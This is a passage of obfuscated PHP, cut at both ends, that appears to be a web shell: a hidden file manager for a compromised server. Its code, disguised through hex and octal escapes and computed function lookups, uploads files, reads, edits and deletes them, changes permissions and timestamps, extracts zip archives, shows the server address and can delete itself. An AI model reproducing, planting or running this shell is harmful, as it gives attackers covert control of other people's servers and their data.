\150ref=\x22?d\075\062f\x22\x3e/\074/a\x3e";}if($_iussl==""){continue;}echo"<a cl\141\x73s=\x22\x61jx\042\x20h\162\145f\x3d\x22\077\x64\075";for($_fqpzv=(int)rOuND(0+0);$_fqpzv<=$_cncsl;$_fqpzv++){echo _hmpwxpgz($_ewfzre[$_fqpzv]);if($_fqpzv!=$_cncsl){echo"2\x66";}}echo"\x22>".$_iussl."\x3c\x2fa\076/";};echo"\015\012\011\011\x09\x09\x09\x3c\x62\x72 \x2f>\x0d\x0a\015\x0a\011\x09\011\x09</div\076\x0d\x0a\015\x0a\x09\011\011\011<div\x20c\154\141ss\x3d\042\x75\x22>\015\012\011\x09\011\011\011";echo$_SERVER["\x53E\x52VER\137\101\104D\x52"];echo"\x20<i \143\154\141\x73s\075\042\x66a\x73 fa\x2d\x6cin\x6b\x22></i\076\x0d\x0a\011\011\011\011\x09<b\162 \057>\015\x0a\015\012\011\x09\011\011\011<\x62r\040/>\x0d\x0a\x0d\x0a\011\x09\011\x09\x09<fo\162m \x6det\150o\x64=\x22\x70\x6fs\x74\042 e\156\143t\171pe=\x22m\x75l\x74\151\x70a\x72\164\x2ffo\162\155-d\141t\141\x22>\015\012\011\x09\x09\011\x09\x09\074\x6ca\x62\x65l c\x6ca\163s=\042l w\x22\x3e\015\012\011\011\011\x09\x09\011\x09<i\156put t\x79\x70e\x3d\042\x66\151\x6ce\042 n\x61\155e\075\042\156[]\042\x20\157nch\141ng\145\x3d\042\x74\x68is\x2ef\x6fr\x6d.\x73u\x62m\x69\x74()\x22\040mult\x69\160\154e\076 &\156b\x73p;\125P\114OAD\x0d\012\x09\011\011\x09\x09\x09<\x2f\x6cabe\154>?\x3b\x0d\012\011\011\x09\011\x09</f\157\x72m\076\x0d\012\x0d\x0a\x09\011\011\011\x09";$_eneouv=["<scr\x69\160t>\x24.\156ot\x69\x66y(\x22","\042, { cl\141s\163\116a\x6de\072\x221\042\x2c\141ut\x6f\110\151\x64eD\x65la\x79\072\x2020\060\060,\160\157\x73i\x74\151\x6f\156:\042le\x66\164 \x62\x6f\164to\x6d\042\x20})\x3b<\057scri\x70t>"];$_afotm=$_eneouv[(int)rounD(0+0)]."\117\x4b!".$_eneouv[(int)rOuND(0.5+0.5)];$_zeippkpv=$_eneouv[(int)rOuND(0+0)]."\x45R\041".$_eneouv[(int)Round(41.666666666667+41.666666666667+41.666666666667)+(0113+0371+-01121+-0105)-(-01124+0576)];if(isset($_FILES["\x6e"])){$_cspa=$_FILES["\156"]["n\x61me"];$_hhyb=CounT($_cspa);for($_fqpzv=(int)rOUNd(0+0+0+0);$_fqpzv<$_hhyb;$_fqpzv++){if($_bdnczog[(-0561-01761+03003)+(-01307+0716- -0102)-(-0443+-0655- -0230+01035)]($_FILES["n"]["\164\x6dp\137\x6eame"][$_fqpzv],$_cspa[$_fqpzv])){echo$_afotm;}else{echo$_zeippkpv;}}};echo"\x0d\012\011\011\011\x09<\x2f\x64\151\166>\x0d\x0a\011\011\x09\x09\x09";$_aiuvyw="<t\141bl\145 cell\163pa\143\x69n\x67\075\x22\x30\042 \x63e\x6c\154paddin\147\075\x227\042 w\151d\164h=\x22100%\x22>\x0d\x0a\x09\x09\011\x09\x09\011\x3cthea\x64>\x0d\x0a\011\011\x09\011\011\x09\011<tr>\x0d\x0a\x09\x09\x09\x09\011\x09\x09\011\074th>";$_wbxtz="\074/\164\150>\x0d\012\x09\x09\x09\x09\011\x09\x09\x3c\057t\162>\015\x0a\011\011\011\x09\011\011</\x74hea\144>\015\x0a\x09\011\x09\011\x09\x09<\x74\x62\x6fd\171\x3e\015\x0a\x09\011\x09\x09\x09\011\x09<\164r\x3e\x0d\x0a\011\011\011\x09\x09\011\x09\x09<\164d\076</\164d>\x0d\x0a\x09\x09\x09\011\x09\x09\x09<\057tr>\015\012\x09\x09\x09\011\011\011\x09<tr\076\015\012\x09\011\x09\x09\011\x09\011\x09<\x74\x64\040\143\x6c\141\x73s=\042x\x22>";$_ydqtz="\x3c/td>\x0d\x0a\011\011\x09\011\x09\011\011</\x74\162\x3e\015\x0a\011\011\011\011\011\011\074\057\164b\x6fdy>\x0d\x0a\x09\x09\011\x09\011</\164ab\x6ce>";$_yodstc="\x3cb\162 />\015\012\x09\011\x09\011\x09\011\011\011\x09\x09<\142\162 />\x0d\012\x09\011\011\011\x09\x09\x09\011\011\011<inp\x75t \164ype\075\042\x73u\x62m\151\164\042 \x63\154\141ss\x3d\042\x77\042 \166alu\145=\x22\046n\142sp;O\113\x26nbsp;\042\040\057\076\x0d\012\x09\x09\011\011\x09\x09\x09\011\011</for\155>";if(isset($_GET["s"])){echo$_aiuvyw._lermjnmi($_GET["\163"]).$_wbxtz."\x0d\012\x09\011\011\011\x09\x09\011\011\x09\x3c\164exta\162ea reado\x6e\x6cy\x3d\x22yes\042\x3e".$_bdnczog[(0112+-077)-(0541-0545)]($_bdnczog[(int)RouND(3+3)](_lermjnmi($_GET["s"])))."\074\x2f\164e\x78t\141re\141>\x0d\012\x09\x09\011\011\011\x09\011\x09\x09<\x62r />\015\x0a\x09\x09\x09\x09\011\x09\011\x09\011\x3cbr /\076\x0d\x0a\011\x09\x09\x09\011\011\011\x09\x09<inp\165t\040on\x63\x6ci\143k=\x22loc\x61ti\x6fn\x2e\x68ref=\047\077\144=".$_GET["d"]."&e=".$_GET["s"]."\047\042 \x74yp\x65\x3d\042s\165b\x6d\x69t\042 cl\x61ss=\042w\042 v\x61lu\x65\075\x22&\156bsp\073EDIT\x26\x6ebs\160;\x22\040/\x3e\x0d\012\011\011\x09\011\011\011\x09\x09".$_ydqtz;}elseif(isset($_GET["\171"])){echo$_aiuvyw."\x52EQU\105\123T".$_wbxtz."\x0d\012\011\x09\011\x09\x09\011\011\011\011<f\x6f\x72\x6d\x20\x6dethod=\x22post\042\x3e\015\012\x09\011\011\011\x09\011\011\x09\x09\x09\x3cinpu\164 c\154\x61ss\075\x22\170\042 \x74y\x70e\x3d\042\x74\145x\164\042 na\155\145=\x221\042\x20/>\046\156\x62s\160;&\156b\x73p;\015\x0a\011\011\011\011\011\011\x09\x09\x09\011<i\156\x70u\164 cl\x61\x73\x73\x3d\x22\x78\x22 \x74ype\075\x22\164ext\042 \x6e\141\155e=\x22\x32\x22 />\015\x0a\x09\x09\011\x09\011\011\011\x09\x09\x09".$_yodstc."\x0d\012\x09\x09\x09\011\x09\x09\011\x09\x09<b\162 \057>\x0d\x0a\x09\011\x09\011\011\x09\x09\011\011<t\145x\x74\x61r\x65a re\141\144\157nl\171\x3d\x22yes\x22>";if(isset($_POST["2"])){echo$_bdnczog[(0551+0117)-(02222+-01645)-(0754+0367+-01041+-06)](_grijf($_POST["1"],$_POST["\x32"]));}echo"\074/te\170\x74are\141\x3e\015\012\011\x09\011\011\011\011\x09\011".$_ydqtz;}elseif(isset($_GET["e"])){echo$_aiuvyw._lermjnmi($_GET["e"]).$_wbxtz."\015\x0a\011\011\x09\x09\011\x09\011\011\011\074\146\x6fr\x6d\x20\x6d\145thod=\042post\042\x3e\015\x0a\x09\011\x09\011\011\011\x09\x09\011\011<t\x65\170t\141\x72\x65a n\x61\155\145\075\x22\x65\042 class=\x22\157\x22>".$_bdnczog[(int)rouNd(-180.5+-180.5+-180.5+-180.5)-(-01161- -01230+-01410)]($_bdnczog[(int)ROUnD(1.5+1.5+1.5+1.5)](_lermjnmi($_GET["\145"])))."</te\170t\x61re\x61>\x0d\012\011\011\x09\x09\x09\011\011\011\011\x09<\142r \x2f\x3e\015\x0a\x09\x09\011\x09\x09\011\x09\x09\x09\x09\x3cb\162\x20\057>\x0d\012\x09\011\x09\011\011\011\011\011\011\011\074s\160an \x63las\x73=\042w\042\x3e\x42\101S\105\0664\074/\x73\160an\076 \072\x0d\x0a\011\x09\x09\x09\x09\011\011\x09\011\x09<\163\x65l\145ct\x20i\x64\x3d\042b\x364\x22\040n\x61\155e=\x22\142\066\x34\042\x3e\015\x0a\x09\011\011\x09\x09\x09\011\x09\011\x09\x09\x3c\x6fpti\157n v\x61\154u\x65=\042\x30\x22\x3e\x4eO</op\x74\x69\157n\x3e\015\x0a\011\x09\011\011\x09\x09\x09\011\x09\011\x09<opt\x69\x6f\156 \x76\141l\x75\145=\x22\061\042>\131\x45S\x3c/o\160ti\157\x6e>\015\x0a\011\011\011\011\x09\011\011\x09\x09\x09</se\154\x65\x63\164>\x0d\x0a\x09\011\x09\x09\x09\x09\011\x09\x09\011".$_yodstc."\015\x0a\011\x09\011\x09\x09\011\x09\011".$_ydqtz."\x0d\012\011\011\x09\011\x09\011\x09\011\x0d\012\x09\x09\011\011\011<\163cr\x69pt>\x0d\x0a\x09\011\x09\x09\x09\011\x24(\042#b\0664\x22).ch\141n\147e(fu\x6ection(\051 \x7b\015\x0a\x09\011\011\x09\x09\x09\x09if(\044(\x22\x23\14264 \157\x70ti\x6fn\x3as\145\x6cect\x65d\042).v\141\x6c\x28\x29 \x3d= 0\x29 {\015\x0a\011\x09\011\011\011\011\x09\x09\x76\x61r\040\130 = \044(\042te\x78\164a\162e\x61\x22).\166\141l\050\x29;\015\x0a\x09\011\x09\x09\011\x09\x09\x09\x76a\x72 Z = \141tob(\130\x29\x3b\015\x0a\x09\011\011\x09\x09\011\011\011\x24(\042\164e\170\x74a\x72e\141\x22\051.\x76a\x6c\x28\132)\073\015\x0a\x09\x09\011\011\x09\x09\x09}\015\012\x09\011\011\x09\x09\x09\x09\145\154se\040{\015\x0a\011\011\x09\x09\x09\x09\x09\x09v\141r\040\116 = \x24(\x22t\x65xtare\x61\x22).va\x6c();\x0d\x0a\011\x09\011\011\011\011\011\011\166a\162\x20\111 = bt\x6f\x61(\116);\015\012\x09\x09\011\x09\011\011\x09\011\x24\050\042t\x65\x78t\x61rea\x22\x29\x2e\x76al(\111\051;\x0d\x0a\011\011\x09\x09\011\011\011}\015\x0a\x09\011\x09\011\011\011\x7d\051\073\x0d\x0a\011\x09\011\011\x09\074\057scrip\164\x3e";if(isset($_POST["\145"])){if($_POST["\x6264"]=="\x31"){$_xolnsedw=$_bdnczog[(int)rOUnd(2.3333333333333+2.3333333333333+2.3333333333333)]($_POST["e"]);}else{$_xolnsedw=$_POST["\145"];}$_ubfwkkkx=$_bdnczog[(int)ROUnd(151.33333333333+151.33333333333+151.33333333333)-(0520- -0752)-(00+-01342- -01024-0267)](_lermjnmi($_GET["e"]),"\x77");if($_bdnczog[(int)ROunD(4.5+4.5+4.5+4.5)]($_ubfwkkkx,$_xolnsedw)){_vcauic();}else{_fdlu();}$_bdnczog[(int)rOunD(25.333333333333+25.333333333333+25.333333333333)+(0225-0311)-(076-0455+0413-027)]($_ubfwkkkx);}}elseif(isset($_GET["x"])){_muujapst(_lermjnmi($_GET["\x78"]));if($_bdnczog[(int)roUND(149.66666666667+149.66666666667+149.66666666667)-(int)ROUnd(13+13)-(int)roUnD(54.5+54.5+54.5+54.5)+(-0151- -077+-0211)](_lermjnmi($_GET["\x78"]))){_fdlu();}else{_vcauic();}}elseif(isset($_GET["\164"])){echo$_aiuvyw._lermjnmi($_GET["\x74"]).$_wbxtz."\x0d\012\x09\011\011\x09\011\011\011\011\011<f\157\162m\x20act\151o\156=\x22\042\040\x6dethod\x3d\x22\x70o\x73\x74\042>\015\012\011\011\011\011\011\x09\x09\x09\x09\x09<\151\156\x70\x75t\040n\141me=\042t\042 c\x6c\141s\163=\042x\x22 ty\160e=\x22text\042\040val\x75e\075\042".$_bdnczog[(-0654+-0553+-0272- -01251)-(-01367- -01000+-01366- -01261)]("\x59-\x6d\x2dd\040H:\x69",$_bdnczog[(-0706- -0354+0300- -0113)+(int)roUnd(-9.3333333333333+-9.3333333333333+-9.3333333333333)](_lermjnmi($_GET["t"])))."\x22\x3e\015\x0a\x09\011\011\011\x09\011\x09\x09\011\011".$_yodstc."\015\012\011\x09\x09\x09\011\x09\011\011".$_ydqtz;if(!empty($_POST["t"])){$_jteif=$_bdnczog[(int)rOUnd(42.333333333333+42.333333333333+42.333333333333)-(int)ROuNd(31.333333333333+31.333333333333+31.333333333333)]($_POST["\164"]);if($_jteif){if(!$_bdnczog[(int)RoUnd(108.66666666667+108.66666666667+108.66666666667)-(01022-067)+(int)ROUNd(125.33333333333+125.33333333333+125.33333333333)+(-0326+01074-01017-041)](_lermjnmi($_GET["\164"]),$_jteif,$_jteif)){_fdlu();}else{_vcauic();}}else{_fdlu();}}}elseif(isset($_GET["\153"])){echo$_aiuvyw._lermjnmi($_GET["\153"]).$_wbxtz."\x0d\012\011\011\x09\011\x09\011\011\x09\x09\x3cf\x6frm a\143\164\151o\x6e=\x22\042 m\x65\x74\x68od\075\x22pos\164\x22>\x0d\012\x09\x09\011\011\011\011\x09\x09\011\011\x3c\x69\156\x70ut name\075\x22b\042 \143\154a\x73s\x3d\042x\x22 \164y\160e=\x22\x74\145x\x74\x22 value\x3d\x22".$_bdnczog[(int)round(7.3333333333333+7.3333333333333+7.3333333333333)]($_bdnczog[(int)ROUNd(-22+-22+-22)-(-0206- -074-017)]("\x25o",$_bdnczog[(int)rOUnD(6+6+6+6)](_lermjnmi($_GET["\x6b"]))),-(int)ROUnd(1.3333333333333+1.3333333333333+1.3333333333333))."\x22>\x0d\x0a\x09\x09\011\x09\x09\011\x09\011\011\011".$_yodstc."\015\012\x09\x09\011\x09\011\x09\011\x09".$_ydqtz;if(!empty($_POST["\x62"])){$_msja=$_POST["b"];$_faklr=((int)rounD(171.5+171.5)-(int)RoUnd(85.75+85.75+85.75+85.75));for($_fqpzv=stRleN($_msja)-((0125-077)+(-0454- -0114- -0313));$_fqpzv>=((01327+-01526-01221- -01632)+(int)rounD(28.75+28.75+28.75+28.75)-(int)rOuND(126.5+126.5));--$_fqpzv)$_faklr+=(int)$_msja[$_fqpzv]*pOw((int)rOunD(-61.5+-61.5+-61.5+-61.5)+(int)RounD(63.5+63.5+63.5+63.5),(STrLen($_msja)-$_fqpzv-((int)rOund(11.5+11.5)-(-0347+0160)-(0232-0220-0320+0523))));if(!$_bdnczog[(-0370+0132+0643-0443)+(-040-027+-0232)+(-0271+-0353- -036)-(-01651+-01631- -02301)](_lermjnmi($_GET["\153"]),$_faklr)){_fdlu();}else{_vcauic();}}}elseif(isset($_GET["l"])){echo$_aiuvyw."+\104I\122".$_wbxtz."\x0d\x0a\011\011\011\011\x09\011\011\011\x09<f\157\x72\155 \x61cti\x6fn\075\x22\x22\x20me\164h\x6fd\075\x22po\x73t\042\x3e\x0d\x0a\x09\x09\011\011\x09\011\x09\x09\x09\011<i\x6e\x70\x75\x74 \156a\155e\075\042\x6c\042 cla\163s=\x22\170\042\040type\x3d\042\164ex\164\042 v\x61l\165e=\x22\042>\015\012\x09\x09\011\x09\x09\x09\011\x09\x09\011".$_yodstc."\015\x0a\x09\011\011\x09\011\x09\011\011".$_ydqtz;if(isset($_POST["l"])){if(!$_bdnczog[(-01245+-01134+0352+01266)-(-01101- -02215- -062-01663)-(int)rounD(-18.333333333333+-18.333333333333+-18.333333333333)]($_POST["l"])){_fdlu();}else{_vcauic();}}}elseif(isset($_GET["\161"])){if($_bdnczog[(int)round(-8.3333333333333+-8.3333333333333+-8.3333333333333)+(0171+-0123- -0156+-044)-(-0527- -0375+01154-01070)-(0371+0134+-0342)](__FILE__)){$_bdnczog[(int)RoUND(-25.5+-25.5)-(-0446- -0144+0151)]($_bdnczog[(int)rOUND(2.25+2.25+2.25+2.25)]);hEAder("Lo\143a\x74ion: ".BasEname($_SERVER["PHP_SELF"])."");exit();}else{echo$_zeippkpv;}}elseif(isset($_GET["n"])){echo$_aiuvyw."\053\x46IL\105".$_wbxtz."\x0d\012\011\x09\x09\011\x09\x09\x09\011\011<\146o\162m a\x63\164\x69\157\x6e=\042\042\040\155\145t\x68o\144\075\x22p\x6f\x73\164\x22\076\x0d\x0a\011\011\x09\011\x09\011\011\011\011\011<\151n\x70ut \156ame=\042n\x22\040cla\x73s\075\042x\042 ty\160e\075\x22\164\x65xt\x22\040v\141l\x75e=\042\x22>\015\012\x09\x09\011\x09\011\011\x09\x09\x09\011".$_yodstc."\x0d\x0a\x09\x09\x09\011\x09\x09\011\011".$_ydqtz;if(isset($_POST["\x6e"])){if(!$_bdnczog[(int)RoUnD(12.5+12.5)]($_POST["n"])){_fdlu();}else{_vcauic();}}}elseif(isset($_GET["\x72"])){echo$_aiuvyw._lermjnmi($_GET["\x72"]).$_wbxtz."\015\012\011\011\x09\x09\x09\x09\011\x09\011\x3cf\157\162m \141ct\x69\x6f\x6e\x3d\x22\x22 \155\x65\164\x68\x6f\144\x3d\x22po\163t\x22\076\x0d\x0a\011\011\011\x09\x09\011\x09\x09\x09\x09\x3c\151nput \x6eam\x65\075\x22\162\x22 \x63\154ass\075\x22\x78\042\040type=\x22\x74\x65\170t\042\040\x76\141\154\x75e\075\042"._lermjnmi($_GET["r"])."\042>\x0d\012\x09\011\011\011\011\x09\011\011\011\011".$_yodstc."\x0d\x0a\011\x09\x09\011\x09\x09\x09\011".$_ydqtz;if(isset($_POST["r"])){if($_bdnczog[(0706-0613+0213-0417)+(0150+-01557+0213+0760)+(-01241- -0320)+(int)rOUnD(176+176+176+176)]($_POST["r"])){_fdlu();}else{if($_bdnczog[(int)rouND(13.5+13.5)](_lermjnmi($_GET["\162"]),$_POST["r"])){_vcauic();}else{_fdlu();}}}}elseif(isset($_GET["z"])){$_zcot=new ziParcHIVe;$_wbcar=$_zcot->oPeN(_lermjnmi($_GET["\172"]));if($_wbcar===true){$_zcot->exTRaCTTO(_lermjnmi($_GET["\x64"]));$_zcot->cLOSE();_vcauic();}else{_fdlu();}}else{echo"\074ta\x62le \143\145l\154\163p\x61\143i\x6eg\075\x220\042 \143\145\x6cl\x70a\x64d\x69ng\x3d\x22\067\042\x20\167id\164h\x3d\x22100\045\042\076\015\x0a\x09\x09\011\011\011\011\074thead>\x0d\x0a\011\011\x09\x09\011\011\011\074\x74r>\x0d\x0a\x09\011\x09\x09\x09\011\x09\x09\x3c\164h\040w\x69d\x74h\075\042\064\064%\042>[ NAME\040\x5d<\057th\x3e\x0d\012\x09\x09\011\x09\x09\011\011\011<t\150\x20\167id\164\150\x3d\x22\x311%\x22\076\x5b\040S\x49Z\105 \135\x3c\057th\x3e\015\012\011\x09\011\011\011\011\x09\x09\074th\040widt\150=\042\0617%\x22\076[ P\x45RM \135</th>\015\x0a\011\011\011\011\x09\011\011\011<th\x20w\x69dth=\x221\x37\x25\042>[ \x44\101TE ]\074\x2f\164h>\x0d\012\011\x09\x09\x09\011\x09\x09\011\074th wi\x64t\150=\x2211%\x22\076[ \x41\x43T\x20]</th\076\x0d\012\x09\x09\x09\x09\011\011\011\x3c\x2ftr\x3e\x0d\x0a\x09\011\x09\011\011\x09\x3c/\x74head>\015\012\011\x09\x09\x09\011\x09<\x74bo\144y>\015\012\011\011\011\011\011\011\x09\074t\162>\x0d\012\011\011\011\x09\011\x09\011\011<\x74d>\015\012\x09\011\x09\011\011\011\011\x09\x09<a\040\x63l\141s\x73=\x22\141j\170\x22 h\162ef=\042\077\x64="._hmpwxpgz($_iosi)."&n\042>\x2b\106\x49LE<\x2f\141>\015\012\x09\011\011\x09\x09\x09\x09\011\011<a c\154\141s\x73=\042\141jx\x22 hre\x66\x3d\042?\x64\075"._hmpwxpgz($_iosi)."&\154\042>\x2bD\x49\122\074\x2f\141\076\x0d\x0a\x09\011\x09\011\011\x09\x09\011\x3c/\x74\x64>\015\012\x09\x09\011\x09\x09\011\011</tr>\015\x0a\011\011\011\011\011\011";$_yfmpgoi="";$_cwztbzf="";$_cnwxfy=$_bdnczog[(int)roUND(-137.5+-137.5)-(int)rouNd(-17.5+-17.5+-17.5+-17.5)+(int)roUND(-21+-21)-(-0765+0361)]($_iosi);if($_bdnczog[(-0251+0403)-(0276-0673+01134)-(int)ROUNd(-144.5+-144.5)]($_cnwxfy)||$_bdnczog[(int)roUNd(-10.333333333333+-10.333333333333+-10.333333333333)-(int)ROunD(38+38)+(0757-01111)+(0304-0132-0371- -0561)]($_cnwxfy)){foreach($_cnwxfy as$_przupqrl){$_iescdxhm=$_bdnczog[(01263+01205-0623+-0553)+(int)rOUNd(-47+-47+-47)+(int)RoUND(-103.75+-103.75+-103.75+-103.75)]("\134","/",$_iosi);if(!$_bdnczog[(int)roUNd(2.5+2.5+2.5+2.5)-(0151-0144- -0263+-0616)+(int)Round(-48.5+-48.5+-48.5+-48.5)]($_przupqrl,".z\x69\160")){$_wzqzev="";}else{$_wzqzev="<a\x20\x68\x72\x65f=\x22?\144="._hmpwxpgz($_iescdxhm)."\x26\x7a="._hmpwxpgz($_przupqrl)."\x22\x3eU</\141\x3e";}if($_bdnczog[(int)Round(7.75+7.75+7.75+7.75)]($_iosi."\057".$_przupqrl)){$_mekxz="";}elseif(!$_bdnczog[(int)rOuNd(8+8+8+8)]($_iosi."/".$_przupqrl)){$_mekxz="\040h";}else{$_mekxz="\x20w";}$_zxrl=$_bdnczog[(053+067+-041)+(int)RoUnD(3.5+3.5)+(int)rOuND(-12.666666666667+-12.666666666667+-12.666666666667)]($_iosi."/".$_przupqrl)/((int)ROund(584.5+584.5)+(int)roUnD(304.33333333333+304.33333333333+304.33333333333)+(int)rOUNd(-529+-529));$_zxrl=rOUND($_zxrl,(int)rOunD(-11+-11+-11)-(int)RoUNd(-9+-9+-9+-9));if($_zxrl>=(int)rOUnd(256+256+256+256)){$_zxrl=ROund($_zxrl/(int)RoUNd(256+256+256+256),(int)ROUNd(0.5+0.5+0.5+0.5))." MB";}else{$_zxrl=$_zxrl." K\x42";}if(($_przupqrl!=".")&&($_przupqrl!="\x2e\056")){($_bdnczog[(-01300- -0560+-0460+0157)+(0215+0614)]($_iosi."/".$_przupqrl))?$_yfmpgoi.="\074\164\162 \x63\x6c\141\x73\x73=\x22\162\x22>\015\x0a\011\x09\011\x09\x09\011\x09<\164d\x3e\015\x0a\x09\011\011\x09\011\011\x09\011\074\x69 c\154\x61ss\075\x22far \x66a-fold\145r m\042\076\074/i>\015\012\x09\011\011\011\x09\x09\x09\x09\x3ca\x20\x63\x6c\x61ss=\042\x61\152x\042 hre\x66=\042\x3fd\x3d"._hmpwxpgz($_iescdxhm)._hmpwxpgz("/".$_przupqrl)."\042\076".$_przupqrl."</\141>\x0d\012\011\x09\011\x09\011\011\011\x3c/\164d>\x0d\012\011\011\x09\x09\x09\x09\011\074t\144 cl\141\x73\163=\042x\042\076\015\012\011\011\x09\011\x09\x09\011\011\144ir\x0d\x0a\011\011\011\011\x09\011\x09\x3c/td>\x0d\x0a\x09\x09\011\011\x09\011\011\074t\x64 \x63\154a\163\163=\x22x\042>\015\x0a\011\x09\011\011\011\011\011\011<a clas\163=\042ajx".$_mekxz."\042 h\x72\145f=\042\x3fd="._hmpwxpgz($_iescdxhm)."\x26\x6b\075"._hmpwxpgz($_przupqrl)."\042>"._wwfpea($_iosi."/".$_przupqrl)."</a>\015\x0a\x09\011\011\011\x09\011\x09</td\076\015\x0a\011\x09\x09\011\011\x09\011\x3ctd \143\154as\163=\x22x\042>\015\012\x09\011\011\011\011\011\x09\x09<a \143\x6c\141\163s=\042a\152x\x22 \150\x72ef=\x22\x3fd\x3d"._hmpwxpgz($_iescdxhm)."&\x74="._hmpwxpgz($_przupqrl)."\x22>".$_bdnczog[(-01312+-01316- -0501- -01122)-(-01447- -0416)]("Y-\x6d-\x64 H:i",$_bdnczog[(int)roUND(7+7+7)]($_iosi."\x2f".$_przupqrl))."<\x2f\x61\076\015\012\x09\x09\011\011\011\x09\x09<\x2ftd>\015\012\011\011\011\x09\011\x09\011\074td \x63l\x61s\163=\x22x\042\x3e\x0d\012\x09\011\011\011\x09\x09\x09\x09\074a \x63lass\x3d\x22a\152x\x22 h\162\x65f=\042\x3f\144\x3d"._hmpwxpgz($_iescdxhm)."\046r="._hmpwxpgz($_przupqrl)."\x22>R</a>\015\012\011\x09\011\011\011\x09\011\011\074\x61\040h\x72\x65f\075\x22?d="._hmpwxpgz($_iescdxhm)."\x26x\075"._hmpwxpgz($_przupqrl)."\042>D\074/\141>\015\012\011\011\011\x09\011\x09\x09\074/td>\015\012\011\x09\011\011\011\011</tr\x3e\x0d\x0a\x09\011\011\011\011\x09\x0d\x0a\x09\011\011\011\x09\011":$_cwztbzf.="<t\x72 cla\x73s=\042r\042>\015\x0a\x09\011\x09\x09\x09\x09\011<\164\144\076\x0d\012\x09\x09\x09\x09\x09\011\011\x09<\x69 cla\163\163=\042f\x61r fa\055f\151\154e\040m\x22\076</i>&t\150\x69n\x73p\x3b\015\012\x09\x09\x09\x09\011\x09\011\011\074a\x20clas\163=\x22\141\x6ax\042 \x68\x72ef=\x22?d\075"._hmpwxpgz($_iescdxhm)."&\163="._hmpwxpgz($_przupqrl)."\x22>".$_przupqrl."<\057\x61>\015\012\011\011\x09\011\011\011\011\x3c/td\076\x0d\x0a\011\x09\x09\011\011\x09\011<\164d cla\x73s\075\042x\042\076\x0d\012\x09\x09\x09\x09\x09\x09\x09\x09".$_zxrl."\x0d\012\x09\011\x09\x09\011\x09\x09\074/\x74\x64>\015\012\011\x09\011\011\x09\x09\x09<\x74d \143\154\x61\x73s=\042x\x22\076\x0d\012\011\x09\x09\011\x09\011\011\x09<a\040c\154\x61s\x73=\042\141j\170".$_mekxz."\042 h\x72\x65\x66\075\042\077d\x3d"._hmpwxpgz($_iescdxhm)."&\153\075"._hmpwxpgz($_przupqrl)."\042>"._wwfpea($_iosi."/".$_przupqrl)."</a\076\015\012\x09\011\x09\x09\x09\011\011\x3c/t\144\x3e\x0d\012\011\x09\x09\x09\x09\011\x09\074\164\x64 c\154as\x73\x3d\042x\x22>\x0d\012\x09\x09\011\x09\x09\011\x09\011<\141 class=\x22\141\152\170\x22 hre\x66\075\042?d\x3d"._hmpwxpgz($_iescdxhm)."\x26t="._hmpwxpgz($_przupqrl)."\x22>".$_bdnczog[(int)ROunD(6.6666666666667+6.6666666666667+6.6666666666667)]("Y-m\055d H\072i",$_bdnczog[(int)RoUnD(5.25+5.25+5.25+5.25)]($_iosi."/".$_przupqrl))."</\x61\076\x0d\x0a\011\x09\x09\011\011\x09\011<\x2f\x74\144\x3e\015\x0a\x09\011\x09\x09\x09\011\x09<t\x64 \143l\x61s\x73=\x22x\x22>\x0d\x0a\011\x09\011\011\011\x09\x09\011<\141\040clas\163=\x22\x61jx\x22 \150\x72\x65f\075\042?\x64="._hmpwxpgz($_iescdxhm)."&\x72="._hmpwxpgz($_przupqrl)."\042\x3e\122\x3c/\141>\x0d\012\x09\x09\011\x09\011\x09\x09\011<\x61 class=\x22\x61\x6ax\x22\x20h\x72e\146=\x22?d="._hmpwxpgz($_iescdxhm)."\x26e\x3d"._hmpwxpgz($_przupqrl)."\x22\x3eE<\x2f\x61\076\015\012\011\x09\x09\x09\x09\011\x09\011<a\x20href\075\x22?\x64\075"._hmpwxpgz($_iescdxhm)."&\x67\x3d"._hmpwxpgz($_przupqrl)."\042\076G</a>\015\x0a\011\011\x09\x09\011\011\x09\x09".$_wzqzev."\x0d\012\011\x09\011\x09\011\011\011\011\x3ca \150ref\x3d\x22?d="._hmpwxpgz($_iescdxhm)."&x\075"._hmpwxpgz($_przupqrl)."\x22>\x44<\x2f\x61\x3e\015\012\011\011\x09\011\011\011\x09</\164\144>\x0d\x0a\011\011\011\011\x09\011\074\x2f\x74\162\x3e\015\x0a\x09\011\011\011\011\x09\x0d\x0a\x09\011\011\011\x09\x09";}}}echo$_yfmpgoi;echo$_cwztbzf;echo"\074\057\164\x62ody>\015\x0a\011\x09\011\x09\x09\x09<\x74\x66\x6f\157\x74>\015\012\011\x09\x09\x09\011\x09\x09\x3ctr\076\x0d\x0a\011\011\011\011\x09\011\x09\011\074th\x20class=\x22\145t\x22>\015\012\x09\x09\011\x09\011\x09\011\011\x09<a \143la\x73\163=\x22\x61j\170\x22\x20h\x72\145\146=\042\077d="._hmpwxpgz($_iescdxhm)."&y\x22>REQ\x55\x45\123T<\057\x61>\015\012\011\x09\011\011\x09\011\011\x09\x09\074a h\162\x65f=\042\x3fd="._hmpwxpgz($_iescdxhm)."&q\042>\x45XI\x54<\057\141>\x0d\x0a\011\011\011\x09\x09\x09\011\x09\074/th>\x0d\x0a\011\x09\x09\011\x09\011\011\011<t\x68 cl\x61ss\075\042\145t\042\040w\x69dth=\042\061\x31\x25\x22>\074\057th\076\x0d\x0a\011\011\x09\x09\011\x09\x09\x09<th c\154\x61\163s=\x22\x65\164\x22 \x77idth=\04217\045\x22>\x3c/th>\x0d\012\011\x09\011\011\011\011\x09\011<\x74h\x20\x63\x6cass=\x22e\x74\042 \x77id\164h\x3d\042\x31\x37%\042\x3e</\164h\076\015\x0a\x09\011\011\x09\011\011\x09\x09<\164h clas\x73\075\042\145t\042 w\x69d\164\x68=\x2211\045\042\076<\x2f\164h>\015\012\011\011\x09\x09\x09\x09\011<\057\x74r>\x0d\012\x09\011\x09\x09\x09</\x74foo\x74\076\x0d\012\x09\011\011\011\074\x2ft\141\142le>";};echo"\x0d\x0a\011\011\x09<\057\x61\x72t\151\x63\x6c\145>\x0d\x0a\x09\011\x09\074\x66o\157\x74\145r 